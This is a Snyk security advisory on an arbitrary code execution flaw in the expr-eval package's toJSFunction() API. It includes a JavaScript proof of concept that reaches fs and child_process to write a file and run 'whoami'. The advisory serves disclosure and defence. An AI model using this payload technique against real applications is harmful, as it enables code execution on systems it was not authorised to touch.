Code Execution Affecting expr-eval package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.45% (37th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-EXPREVAL-15054690
  • published22 Jun 2026
  • disclosed20 Jan 2026
  • creditDinh Twan Doan

Introduced: 20 Jan 2026

CVE-2026-12866  (opens in a new tab)
CWE-1321  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for expr-eval.

Overview

expr-eval is a Mathematical expression evaluator

Affected versions of this package are vulnerable to Code Execution via the toJSFunction() API. An attacker can execute arbitrary JavaScript by supplying crafted expressions that are compiled into native code using new Function(). Because user-controlled expressions are transformed directly into executable JavaScript, attackers can escape the intended expression sandbox and run arbitrary code within the application's context.

PoC

js

const { Parser } = require('expr-eval');

const parser = new Parser(); const expr = parser.parse('[cmd]');

const payload = { toString: () => (function(){ const fs = process.mainModule.require('fs'); const cp = process.mainModule.require('child_process'); fs.writeFileSync('expr-eval-poc.txt', 'PWNED'); return cp.execSync('whoami').toString().trim(); })() };

const fn = expr.toJSFunction('', { cmd: payload }); console.log(fn());

CVSS Base Scores

version 4.0
version 3.1